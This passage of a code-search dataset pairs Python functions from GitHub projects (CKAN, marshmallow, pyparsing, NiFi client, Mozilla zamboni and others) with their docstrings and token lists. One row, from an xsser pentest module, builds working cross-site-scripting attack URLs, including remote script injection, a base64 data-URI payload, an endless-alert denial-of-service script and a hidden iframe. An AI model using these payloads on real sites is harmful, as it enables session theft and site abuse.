"=", "\"paper\"", ",", "yref", "=", "\"paper\"", ",", "text", "=", "text", ",", "font", "=", "dict", "(", "size", "=", "13", ",", "color", "=", "text_color", ")", ",", ")", "return", "annotation_dict" ]	https://github.com/plotly/plotly.py/blob/cfad7862594b35965c0e000813bd7805e8494a5b/packages/python/plotly/plotly/figure_factory/utils.py#L192-L260
JetBrains/python-skeletons	95ad24b666e475998e5d1cc02ed53a2188036167	numpy/core/__init__.py	python	uintc.__divmod__	(self, args, *kwargs)		Return divmod(self, value).	Return divmod(self, value).	[ "Return", "divmod", "(", "self", "value", ")", "." ]	def __divmod__(self, args, *kwargs): # real signature unknown """ Return divmod(self, value). """ pass	[ "def", "__divmod__", "(", "self", ",", "", "args", ",", "", "*", "kwargs", ")", ":", "# real signature unknown", "pass" ]	https://github.com/JetBrains/python-skeletons/blob/95ad24b666e475998e5d1cc02ed53a2188036167/numpy/core/__init__.py#L4627-L4629
r9y9/deepvoice3_pytorch	a5c24624bad314db5a5dcb0ea320fc3623a94f15	nikl_preprocess/prepare_metafile.py	python	pe	(cmd, shell=False)	return ret	Print and execute command on system	Print and execute command on system	[ "Print", "and", "execute", "command", "on", "system" ]	def pe(cmd, shell=False): """ Print and execute command on system """ ret = [] for line in execute(cmd, shell=shell): ret.append(line) print(line, end="") return ret	[ "def", "pe", "(", "cmd", ",", "shell", "=", "False", ")", ":", "ret", "=", "[", "]", "for", "line", "in", "execute", "(", "cmd", ",", "shell", "=", "shell", ")", ":", "ret", ".", "append", "(", "line", ")", "print", "(", "line", ",", "end", "=", "\"\"", ")", "return", "ret" ]	https://github.com/r9y9/deepvoice3_pytorch/blob/a5c24624bad314db5a5dcb0ea320fc3623a94f15/nikl_preprocess/prepare_metafile.py#L20-L28
ckan/ckan	b3b01218ad88ed3fb914b51018abe8b07b07bff3	ckan/logic/action/get.py	python	organization_list_for_user	(context, data_dict)	return orgs_list	Return the organizations that the user has a given permission for. Specifically it returns the list of organizations that the currently authorized user has a given permission (for example: "manage_group") against. By default this returns the list of organizations that the currently authorized user is member of, in any capacity. When a user becomes a member of an organization in CKAN they're given a "capacity" (sometimes called a "role"), for example "member", "editor" or "admin". Each of these roles has certain permissions associated with it. For example the admin role has the "admin" permission (which means they have permission to do anything). The editor role has permissions like "create_dataset", "update_dataset" and "delete_dataset". The member role has the "read" permission. This function returns the list of organizations that the authorized user has a given permission for. For example the list of organizations that the user is an admin of, or the list of organizations that the user can create datasets in. This takes account of when permissions cascade down an organization hierarchy. :param id: the name or id of the user to get the organization list for (optional, defaults to the currently authorized user (logged in or via API key)) :type id: string :param permission: the permission the user has against the returned organizations, for example ``"read"`` or ``"create_dataset"`` (optional, default: ``"manage_group"``) :type permission: string :param include_dataset_count: include the package_count in each org (optional, default: ``False``) :type include_dataset_count: bool :returns: list of organizations that the user has the given permission for :rtype: list of dicts	Return the organizations that the user has a given permission for.	[ "Return", "the", "organizations", "that", "the", "user", "has", "a", "given", "permission", "for", "." ]	def organization_list_for_user(context, data_dict): '''Return the organizations that the user has a given permission for. Specifically it returns the list of organizations that the currently authorized user has a given permission (for example: "manage_group") against. By default this returns the list of organizations that the currently authorized user is member of, in any capacity. When a user becomes a member of an organization in CKAN they're given a "capacity" (sometimes called a "role"), for example "member", "editor" or "admin". Each of these roles has certain permissions associated with it. For example the admin role has the "admin" permission (which means they have permission to do anything). The editor role has permissions like "create_dataset", "update_dataset" and "delete_dataset". The member role has the "read" permission. This function returns the list of organizations that the authorized user has a given permission for. For example the list of organizations that the user is an admin of, or the list of organizations that the user can create datasets in. This takes account of when permissions cascade down an organization hierarchy. :param id: the name or id of the user to get the organization list for (optional, defaults to the currently authorized user (logged in or via API key)) :type id: string :param permission: the permission the user has against the returned organizations, for example ``"read"`` or ``"create_dataset"`` (optional, default: ``"manage_group"``) :type permission: string :param include_dataset_count: include the package_count in each org (optional, default: ``False``) :type include_dataset_count: bool :returns: list of organizations that the user has the given permission for :rtype: list of dicts ''' model = context['model'] if data_dict.get('id'): user_obj = model.User.get(data_dict['id']) if not user_obj: raise NotFound user = user_obj.name else: user = context['user'] _check_access('organization_list_for_user', context, data_dict) sysadmin = authz.is_sysadmin(user) orgs_q = model.Session.query(model.Group) \ .filter(model.Group.is_organization == True) \ .filter(model.Group.state == 'active') if sysadmin: orgs_and_capacities = [(org, 'admin') for org in orgs_q.all()] else: # for non-Sysadmins check they have the required permission permission = data_dict.get('permission', 'manage_group') roles = authz.get_roles_with_permission(permission) if not roles: return [] user_id = authz.get_user_id_for_username(user, allow_none=True) if not user_id: return [] q = model.Session.query(model.Member, model.Group) \ .filter(model.Member.table_name == 'user') \ .filter(model.Member.capacity.in_(roles)) \ .filter(model.Member.table_id == user_id) \ .filter(model.Member.state == 'active') \ .join(model.Group) group_ids = set() roles_that_cascade = \ authz.check_config_permission('roles_that_cascade_to_sub_groups') group_ids_to_capacities = {} for member, group in q.all(): if member.capacity in roles_that_cascade: children_group_ids = [ grp_tuple[0] for grp_tuple in group.get_children_group_hierarchy(type='organization') ] for group_id in children_group_ids: group_ids_to_capacities[group_id] = member.capacity group_ids \|= set(children_group_ids) group_ids_to_capacities[group.id] = member.capacity group_ids.add(group.id) if not group_ids: return [] orgs_q = orgs_q.filter(model.Group.id.in_(group_ids)) orgs_and_capacities = [ (org, group_ids_to_capacities[org.id]) for org in orgs_q.all()] context['with_capacity'] = True orgs_list = model_dictize.group_list_dictize(orgs_and_capacities, context, with_package_counts=asbool(data_dict.get('include_dataset_count'))) return orgs_list	[ "def", "organization_list_for_user", "(", "context", ",", "data_dict", ")", ":", "model", "=", "context", "[", "'model'", "]", "if", "data_dict", ".", "get", "(", "'id'", ")", ":", "user_obj", "=", "model", ".", "User", ".", "get", "(", "data_dict", "[", "'id'", "]", ")", "if", "not", "user_obj", ":", "raise", "NotFound", "user", "=", "user_obj", ".", "name", "else", ":", "user", "=", "context", "[", "'user'", "]", "_check_access", "(", "'organization_list_for_user'", ",", "context", ",", "data_dict", ")", "sysadmin", "=", "authz", ".", "is_sysadmin", "(", "user", ")", "orgs_q", "=", "model", ".", "Session", ".", "query", "(", "model", ".", "Group", ")", ".", "filter", "(", "model", ".", "Group", ".", "is_organization", "==", "True", ")", ".", "filter", "(", "model", ".", "Group", ".", "state", "==", "'active'", ")", "if", "sysadmin", ":", "orgs_and_capacities", "=", "[", "(", "org", ",", "'admin'", ")", "for", "org", "in", "orgs_q", ".", "all", "(", ")", "]", "else", ":", "# for non-Sysadmins check they have the required permission", "permission", "=", "data_dict", ".", "get", "(", "'permission'", ",", "'manage_group'", ")", "roles", "=", "authz", ".", "get_roles_with_permission", "(", "permission", ")", "if", "not", "roles", ":", "return", "[", "]", "user_id", "=", "authz", ".", "get_user_id_for_username", "(", "user", ",", "allow_none", "=", "True", ")", "if", "not", "user_id", ":", "return", "[", "]", "q", "=", "model", ".", "Session", ".", "query", "(", "model", ".", "Member", ",", "model", ".", "Group", ")", ".", "filter", "(", "model", ".", "Member", ".", "table_name", "==", "'user'", ")", ".", "filter", "(", "model", ".", "Member", ".", "capacity", ".", "in_", "(", "roles", ")", ")", ".", "filter", "(", "model", ".", "Member", ".", "table_id", "==", "user_id", ")", ".", "filter", "(", "model", ".", "Member", ".", "state", "==", "'active'", ")", ".", "join", "(", "model", ".", "Group", ")", "group_ids", "=", "set", "(", ")", "roles_that_cascade", "=", "authz", ".", "check_config_permission", "(", "'roles_that_cascade_to_sub_groups'", ")", "group_ids_to_capacities", "=", "{", "}", "for", "member", ",", "group", "in", "q", ".", "all", "(", ")", ":", "if", "member", ".", "capacity", "in", "roles_that_cascade", ":", "children_group_ids", "=", "[", "grp_tuple", "[", "0", "]", "for", "grp_tuple", "in", "group", ".", "get_children_group_hierarchy", "(", "type", "=", "'organization'", ")", "]", "for", "group_id", "in", "children_group_ids", ":", "group_ids_to_capacities", "[", "group_id", "]", "=", "member", ".", "capacity", "group_ids", "\|=", "set", "(", "children_group_ids", ")", "group_ids_to_capacities", "[", "group", ".", "id", "]", "=", "member", ".", "capacity", "group_ids", ".", "add", "(", "group", ".", "id", ")", "if", "not", "group_ids", ":", "return", "[", "]", "orgs_q", "=", "orgs_q", ".", "filter", "(", "model", ".", "Group", ".", "id", ".", "in_", "(", "group_ids", ")", ")", "orgs_and_capacities", "=", "[", "(", "org", ",", "group_ids_to_capacities", "[", "org", ".", "id", "]", ")", "for", "org", "in", "orgs_q", ".", "all", "(", ")", "]", "context", "[", "'with_capacity'", "]", "=", "True", "orgs_list", "=", "model_dictize", ".", "group_list_dictize", "(", "orgs_and_capacities", ",", "context", ",", "with_package_counts", "=", "asbool", "(", "data_dict", ".", "get", "(", "'include_dataset_count'", ")", ")", ")", "return", "orgs_list" ]	https://github.com/ckan/ckan/blob/b3b01218ad88ed3fb914b51018abe8b07b07bff3/ckan/logic/action/get.py#L609-L717
marshmallow-code/marshmallow	58c2045b8f272c2f1842458aa79f5c079a01429f	src/marshmallow/schema.py	python	Schema._do_load	( self, data: ( typing.Mapping[str, typing.Any] \| typing.Iterable[typing.Mapping[str, typing.Any]] ), *, many: bool \| None = None, partial: bool \| types.StrSequenceOrSet \| None = None, unknown: str \| None = None, postprocess: bool = True, )	return result	Deserialize `data`, returning the deserialized result. This method is private API. :param data: The data to deserialize. :param many: Whether to deserialize `data` as a collection. If `None`, the value for `self.many` is used. :param partial: Whether to validate required fields. If its value is an iterable, only fields listed in that iterable will be ignored will be allowed missing. If `True`, all fields will be allowed missing. If `None`, the value for `self.partial` is used. :param unknown: Whether to exclude, include, or raise an error for unknown fields in the data. Use `EXCLUDE`, `INCLUDE` or `RAISE`. If `None`, the value for `self.unknown` is used. :param postprocess: Whether to run post_load methods.. :return: Deserialized data	Deserialize `data`, returning the deserialized result. This method is private API.	[ "Deserialize", "data", "returning", "the", "deserialized", "result", ".", "This", "method", "is", "private", "API", "." ]	def _do_load( self, data: ( typing.Mapping[str, typing.Any] \| typing.Iterable[typing.Mapping[str, typing.Any]] ), *, many: bool \| None = None, partial: bool \| types.StrSequenceOrSet \| None = None, unknown: str \| None = None, postprocess: bool = True, ): """Deserialize `data`, returning the deserialized result. This method is private API. :param data: The data to deserialize. :param many: Whether to deserialize `data` as a collection. If `None`, the value for `self.many` is used. :param partial: Whether to validate required fields. If its value is an iterable, only fields listed in that iterable will be ignored will be allowed missing. If `True`, all fields will be allowed missing. If `None`, the value for `self.partial` is used. :param unknown: Whether to exclude, include, or raise an error for unknown fields in the data. Use `EXCLUDE`, `INCLUDE` or `RAISE`. If `None`, the value for `self.unknown` is used. :param postprocess: Whether to run post_load methods.. :return: Deserialized data """ error_store = ErrorStore() errors = {} # type: dict[str, list[str]] many = self.many if many is None else bool(many) unknown = unknown or self.unknown if partial is None: partial = self.partial # Run preprocessors if self._has_processors(PRE_LOAD): try: processed_data = self._invoke_load_processors( PRE_LOAD, data, many=many, original_data=data, partial=partial ) except ValidationError as err: errors = err.normalized_messages() result = None # type: list \| dict \| None else: processed_data = data if not errors: # Deserialize data result = self._deserialize( processed_data, error_store=error_store, many=many, partial=partial, unknown=unknown, ) # Run field-level validation self._invoke_field_validators( error_store=error_store, data=result, many=many ) # Run schema-level validation if self._has_processors(VALIDATES_SCHEMA): field_errors = bool(error_store.errors) self._invoke_schema_validators( error_store=error_store, pass_many=True, data=result, original_data=data, many=many, partial=partial, field_errors=field_errors, ) self._invoke_schema_validators( error_store=error_store, pass_many=False, data=result, original_data=data, many=many, partial=partial, field_errors=field_errors, ) errors = error_store.errors # Run post processors if not errors and postprocess and self._has_processors(POST_LOAD): try: result = self._invoke_load_processors( POST_LOAD, result, many=many, original_data=data, partial=partial, ) except ValidationError as err: errors = err.normalized_messages() if errors: exc = ValidationError(errors, data=data, valid_data=result) self.handle_error(exc, data, many=many, partial=partial) raise exc return result	[ "def", "_do_load", "(", "self", ",", "data", ":", "(", "typing", ".", "Mapping", "[", "str", ",", "typing", ".", "Any", "]", "\|", "typing", ".", "Iterable", "[", "typing", ".", "Mapping", "[", "str", ",", "typing", ".", "Any", "]", "]", ")", ",", "*", ",", "many", ":", "bool", "\|", "None", "=", "None", ",", "partial", ":", "bool", "\|", "types", ".", "StrSequenceOrSet", "\|", "None", "=", "None", ",", "unknown", ":", "str", "\|", "None", "=", "None", ",", "postprocess", ":", "bool", "=", "True", ",", ")", ":", "error_store", "=", "ErrorStore", "(", ")", "errors", "=", "{", "}", "# type: dict[str, list[str]]", "many", "=", "self", ".", "many", "if", "many", "is", "None", "else", "bool", "(", "many", ")", "unknown", "=", "unknown", "or", "self", ".", "unknown", "if", "partial", "is", "None", ":", "partial", "=", "self", ".", "partial", "# Run preprocessors", "if", "self", ".", "_has_processors", "(", "PRE_LOAD", ")", ":", "try", ":", "processed_data", "=", "self", ".", "_invoke_load_processors", "(", "PRE_LOAD", ",", "data", ",", "many", "=", "many", ",", "original_data", "=", "data", ",", "partial", "=", "partial", ")", "except", "ValidationError", "as", "err", ":", "errors", "=", "err", ".", "normalized_messages", "(", ")", "result", "=", "None", "# type: list \| dict \| None", "else", ":", "processed_data", "=", "data", "if", "not", "errors", ":", "# Deserialize data", "result", "=", "self", ".", "_deserialize", "(", "processed_data", ",", "error_store", "=", "error_store", ",", "many", "=", "many", ",", "partial", "=", "partial", ",", "unknown", "=", "unknown", ",", ")", "# Run field-level validation", "self", ".", "_invoke_field_validators", "(", "error_store", "=", "error_store", ",", "data", "=", "result", ",", "many", "=", "many", ")", "# Run schema-level validation", "if", "self", ".", "_has_processors", "(", "VALIDATES_SCHEMA", ")", ":", "field_errors", "=", "bool", "(", "error_store", ".", "errors", ")", "self", ".", "_invoke_schema_validators", "(", "error_store", "=", "error_store", ",", "pass_many", "=", "True", ",", "data", "=", "result", ",", "original_data", "=", "data", ",", "many", "=", "many", ",", "partial", "=", "partial", ",", "field_errors", "=", "field_errors", ",", ")", "self", ".", "_invoke_schema_validators", "(", "error_store", "=", "error_store", ",", "pass_many", "=", "False", ",", "data", "=", "result", ",", "original_data", "=", "data", ",", "many", "=", "many", ",", "partial", "=", "partial", ",", "field_errors", "=", "field_errors", ",", ")", "errors", "=", "error_store", ".", "errors", "# Run post processors", "if", "not", "errors", "and", "postprocess", "and", "self", ".", "_has_processors", "(", "POST_LOAD", ")", ":", "try", ":", "result", "=", "self", ".", "_invoke_load_processors", "(", "POST_LOAD", ",", "result", ",", "many", "=", "many", ",", "original_data", "=", "data", ",", "partial", "=", "partial", ",", ")", "except", "ValidationError", "as", "err", ":", "errors", "=", "err", ".", "normalized_messages", "(", ")", "if", "errors", ":", "exc", "=", "ValidationError", "(", "errors", ",", "data", "=", "data", ",", "valid_data", "=", "result", ")", "self", ".", "handle_error", "(", "exc", ",", "data", ",", "many", "=", "many", ",", "partial", "=", "partial", ")", "raise", "exc", "return", "result" ]	https://github.com/marshmallow-code/marshmallow/blob/58c2045b8f272c2f1842458aa79f5c079a01429f/src/marshmallow/schema.py#L805-L902
linux-system-roles/network	20667b086068516dff248760e00f844b333eb727	module_utils/network_lsr/nm_provider.py	python	get_nm_ethtool_feature	(name)	return feature	Translate ethtool feature into Network Manager name :param name: Name of the feature :type name: str :returns: Name of the feature to be used by `NM.SettingEthtool.set_feature()` :rtype: str	Translate ethtool feature into Network Manager name	[ "Translate", "ethtool", "feature", "into", "Network", "Manager", "name" ]	def get_nm_ethtool_feature(name): """ Translate ethtool feature into Network Manager name :param name: Name of the feature :type name: str :returns: Name of the feature to be used by `NM.SettingEthtool.set_feature()` :rtype: str """ name = ETHTOOL_FEATURE_PREFIX + name.upper() feature = getattr(Util.NM(), name, None) return feature	[ "def", "get_nm_ethtool_feature", "(", "name", ")", ":", "name", "=", "ETHTOOL_FEATURE_PREFIX", "+", "name", ".", "upper", "(", ")", "feature", "=", "getattr", "(", "Util", ".", "NM", "(", ")", ",", "name", ",", "None", ")", "return", "feature" ]	https://github.com/linux-system-roles/network/blob/20667b086068516dff248760e00f844b333eb727/module_utils/network_lsr/nm_provider.py#L16-L29
cbrgm/telegram-robot-rss	58fe98de427121fdc152c8df0721f1891174e6c9	venv/lib/python2.7/site-packages/pkg_resources/_vendor/pyparsing.py	python	ParserElement.runTests	(self, tests, parseAll=True, comment='#', fullDump=True, printResults=True, failureTests=False)	return success, allResults	Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing Returns: a (success, results) tuple, where success indicates that all tests succeeded (or failed if C{failureTests} is True), and the results contain a list of lines of each test's output Example:: number_expr = pyparsing_common.number.copy() result = number_expr.runTests(''' # unsigned integer 100 # negative integer -100 # float with scientific notation 6.02e23 # integer with scientific notation 1e-12 ''') print("Success" if result[0] else "Failed!") result = number_expr.runTests(''' # stray character 100Z # missing leading digit before '.' -.100 # too many '.' 3.14.159 ''', failureTests=True) print("Success" if result[0] else "Failed!") prints:: # unsigned integer 100 [100] # negative integer -100 [-100] # float with scientific notation 6.02e23 [6.02e+23] # integer with scientific notation 1e-12 [1e-12] Success # stray character 100Z ^ FAIL: Expected end of text (at char 3), (line:1, col:4) # missing leading digit before '.' -.100 ^ FAIL: Expected {real number with scientific notation \| real number \| signed integer} (at char 0), (line:1, col:1) # too many '.' 3.14.159 ^ FAIL: Expected end of text (at char 4), (line:1, col:5) Success Each test string must be on a single line. If you want to test a string that spans multiple lines, create a test like this:: expr.runTest(r"this is a test\\n of strings that spans \\n 3 lines") (Note that this is a raw string literal, you must include the leading 'r'.)	Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing	[ "Execute", "the", "parse", "expression", "on", "a", "series", "of", "test", "strings", "showing", "each", "test", "the", "parsed", "results", "or", "where", "the", "parse", "failed", ".", "Quick", "and", "easy", "way", "to", "run", "a", "parse", "expression", "against", "a", "list", "of", "sample", "strings", ".", "Parameters", ":", "-", "tests", "-", "a", "list", "of", "separate", "test", "strings", "or", "a", "multiline", "string", "of", "test", "strings", "-", "parseAll", "-", "(", "default", "=", "C", "{", "True", "}", ")", "-", "flag", "to", "pass", "to", "C", "{", "L", "{", "parseString", "}}", "when", "running", "tests", "-", "comment", "-", "(", "default", "=", "C", "{", "#", "}", ")", "-", "expression", "for", "indicating", "embedded", "comments", "in", "the", "test", "string", ";", "pass", "None", "to", "disable", "comment", "filtering", "-", "fullDump", "-", "(", "default", "=", "C", "{", "True", "}", ")", "-", "dump", "results", "as", "list", "followed", "by", "results", "names", "in", "nested", "outline", ";", "if", "False", "only", "dump", "nested", "list", "-", "printResults", "-", "(", "default", "=", "C", "{", "True", "}", ")", "prints", "test", "output", "to", "stdout", "-", "failureTests", "-", "(", "default", "=", "C", "{", "False", "}", ")", "indicates", "if", "these", "tests", "are", "expected", "to", "fail", "parsing" ]	def runTests(self, tests, parseAll=True, comment='#', fullDump=True, printResults=True, failureTests=False): """ Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing Returns: a (success, results) tuple, where success indicates that all tests succeeded (or failed if C{failureTests} is True), and the results contain a list of lines of each test's output Example:: number_expr = pyparsing_common.number.copy() result = number_expr.runTests(''' # unsigned integer 100 # negative integer -100 # float with scientific notation 6.02e23 # integer with scientific notation 1e-12 ''') print("Success" if result[0] else "Failed!") result = number_expr.runTests(''' # stray character 100Z # missing leading digit before '.' -.100 # too many '.' 3.14.159 ''', failureTests=True) print("Success" if result[0] else "Failed!") prints:: # unsigned integer 100 [100] # negative integer -100 [-100] # float with scientific notation 6.02e23 [6.02e+23] # integer with scientific notation 1e-12 [1e-12] Success # stray character 100Z ^ FAIL: Expected end of text (at char 3), (line:1, col:4) # missing leading digit before '.' -.100 ^ FAIL: Expected {real number with scientific notation \| real number \| signed integer} (at char 0), (line:1, col:1) # too many '.' 3.14.159 ^ FAIL: Expected end of text (at char 4), (line:1, col:5) Success Each test string must be on a single line. If you want to test a string that spans multiple lines, create a test like this:: expr.runTest(r"this is a test\\n of strings that spans \\n 3 lines") (Note that this is a raw string literal, you must include the leading 'r'.) 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pikpikcu/Pentest-Tools-Framework	cd6e6107764a809943dc4e073cde8149c1a2cd03	modules/xsser/build/lib/core/main.py	python	xsser.generate_real_attack_url	(self, dest_url, description, method, hashing, query_string, payload, orig_url)	return dest_url	Generate a real attack url by using data from a successfull test. This method also applies DOM stealth mechanisms.	Generate a real attack url by using data from a successfull test.	[ "Generate", "a", "real", "attack", "url", "by", "using", "data", "from", "a", "successfull", "test", "." ]	def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url): """ Generate a real attack url by using data from a successfull test. This method also applies DOM stealth mechanisms. """ user_attack_payload = payload['payload'] if self.options.finalpayload: user_attack_payload = self.options.finalpayload elif self.options.finalremote: user_attack_payload = '<script src="' + self.options.finalremote + '"></script>' elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]": user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>' elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]": user_attack_payload = self.options.finalpayload if self.options.dos: user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>' if self.options.doss: user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">' if self.options.b64: user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">' if self.options.onm: user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload if self.options.ifr: user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>' do_anchor_payload = self.options.anchor anchor_data = None attack_hash = None if 'PAYLOAD' in payload['payload']: if user_attack_payload == "": attack_hash = self.generate_hash('final') user_attack_payload = payload['payload'] user_attack_payload = payload['payload'].replace('PAYLOAD', attack_hash) else: user_attack_payload = payload['payload'].replace('PAYLOAD', user_attack_payload) if 'XSS' in user_attack_payload: attack_hash = self.generate_hash('final') user_attack_payload = user_attack_payload.replace('XSS', attack_hash) if do_anchor_payload: dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload) dest_url = dest_url.replace('?', '#') else: dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload) if attack_hash: self.final_attacks[attack_hash] = {'url':dest_url} return dest_url	[ "def", "generate_real_attack_url", "(", "self", ",", "dest_url", ",", "description", ",", "method", ",", "hashing", ",", "query_string", ",", "payload", ",", "orig_url", ")", ":", "user_attack_payload", "=", "payload", "[", "'payload'", "]", "if", "self", ".", "options", ".", "finalpayload", ":", "user_attack_payload", "=", "self", ".", "options", ".", "finalpayload", "elif", "self", ".", "options", ".", "finalremote", ":", "user_attack_payload", "=", "'<script src=\"'", "+", "self", ".", "options", ".", "finalremote", "+", "'\"></script>'", "elif", "self", ".", "options", ".", "finalpayload", "or", "self", ".", "options", ".", "finalremote", "and", "payload", "[", "\"browser\"", "]", "==", "\"[Data Control Protocol Injection]\"", ":", "user_attack_payload", "=", "'<a href=\"data:text/html;base64,'", "+", "b64encode", "(", "self", ".", "options", ".", "finalpayload", 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"do_anchor_payload", ":", "dest_url", ",", "newhash", "=", "self", ".", "get_url_payload", "(", "orig_url", ",", "payload", ",", "query_string", ",", "user_attack_payload", ")", "dest_url", "=", "dest_url", ".", "replace", "(", "'?'", ",", "'#'", ")", "else", ":", "dest_url", ",", "newhash", "=", "self", ".", "get_url_payload", "(", "orig_url", ",", "payload", ",", "query_string", ",", "user_attack_payload", ")", "if", "attack_hash", ":", "self", ".", "final_attacks", "[", "attack_hash", "]", "=", "{", "'url'", ":", "dest_url", "}", "return", "dest_url" ]	https://github.com/pikpikcu/Pentest-Tools-Framework/blob/cd6e6107764a809943dc4e073cde8149c1a2cd03/modules/xsser/build/lib/core/main.py#L2156-L2202
mozilla/zamboni	14b1a44658e47b9f048962fa52dbf00a3beaaf30	mkt/site/views.py	python	cspreport	(request)	return HttpResponse()	Accept CSP reports and log them.	Accept CSP reports and log them.	[ "Accept", "CSP", "reports", "and", "log", "them", "." ]	def cspreport(request): """Accept CSP reports and log them.""" report = ('blocked-uri', 'violated-directive', 'original-policy') if not waffle.sample_is_active('csp-store-reports'): return HttpResponse() try: v = json.loads(request.body)['csp-report'] # If possible, alter the PATH_INFO to contain the request of the page # the error occurred on, spec: http://mzl.la/P82R5y meta = request.META.copy() meta['PATH_INFO'] = v.get('document-uri', meta['PATH_INFO']) v = [(k, v[k]) for k in report if k in v] log_cef('CSPViolation', 5, meta, signature='CSPREPORT', msg='A client reported a CSP violation', cs6=v, cs6Label='ContentPolicy') except (KeyError, ValueError), e: log.debug('Exception in CSP report: %s' % e, exc_info=True) return HttpResponseBadRequest() return HttpResponse()	[ "def", "cspreport", "(", "request", ")", ":", "report", "=", "(", "'blocked-uri'", ",", "'violated-directive'", ",", "'original-policy'", ")", "if", "not", "waffle", ".", "sample_is_active", "(", "'csp-store-reports'", ")", ":", "return", "HttpResponse", "(", ")", "try", ":", "v", "=", "json", ".", "loads", "(", "request", ".", "body", ")", "[", "'csp-report'", "]", "# If possible, alter the PATH_INFO to contain the request of the page", "# the error occurred on, spec: http://mzl.la/P82R5y", "meta", "=", "request", ".", "META", ".", "copy", "(", ")", "meta", "[", "'PATH_INFO'", "]", "=", "v", ".", "get", "(", "'document-uri'", ",", "meta", "[", "'PATH_INFO'", "]", ")", "v", "=", "[", "(", "k", ",", "v", "[", "k", "]", ")", "for", "k", "in", "report", "if", "k", "in", "v", "]", "log_cef", "(", "'CSPViolation'", ",", "5", ",", "meta", ",", "signature", "=", "'CSPREPORT'", ",", "msg", "=", "'A client reported a CSP violation'", ",", "cs6", "=", "v", ",", "cs6Label", "=", "'ContentPolicy'", ")", "except", "(", "KeyError", ",", "ValueError", ")", ",", "e", ":", "log", ".", "debug", "(", "'Exception in CSP report: %s'", "%", "e", ",", "exc_info", "=", "True", ")", "return", "HttpResponseBadRequest", "(", ")", "return", "HttpResponse", "(", ")" ]	https://github.com/mozilla/zamboni/blob/14b1a44658e47b9f048962fa52dbf00a3beaaf30/mkt/site/views.py#L229-L251
Chaffelson/nipyapi	d3b186fd701ce308c2812746d98af9120955e810	nipyapi/nifi/apis/flow_api.py	python	FlowApi.search_flow_with_http_info	(self, **kwargs)	return self.api_client.call_api('/flow/search-results', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResultsEntity', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)	Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str q: :param str a: :return: SearchResultsEntity If the method is called asynchronously, returns the request thread.	Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function)	[ "Performs", "a", "search", "against", "this", "NiFi", "using", "the", "specified", "search", "term", "Only", "search", "results", "from", "authorized", "components", "will", "be", "returned", ".", "This", "method", "makes", "a", "synchronous", "HTTP", "request", "by", "default", ".", "To", "make", "an", "asynchronous", "HTTP", "request", "please", "define", "a", "callback", "function", "to", "be", "invoked", "when", "receiving", "the", "response", ".", ">>>", "def", "callback_function", "(", "response", ")", ":", ">>>", "pprint", "(", "response", ")", ">>>", ">>>", "thread", "=", "api", ".", "search_flow_with_http_info", "(", "callback", "=", "callback_function", ")" ]	def search_flow_with_http_info(self, *kwargs): """ Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str q: :param str a: :return: SearchResultsEntity If the method is called asynchronously, returns the request thread. """ all_params = ['q', 'a'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method search_flow" % key ) params[key] = val del 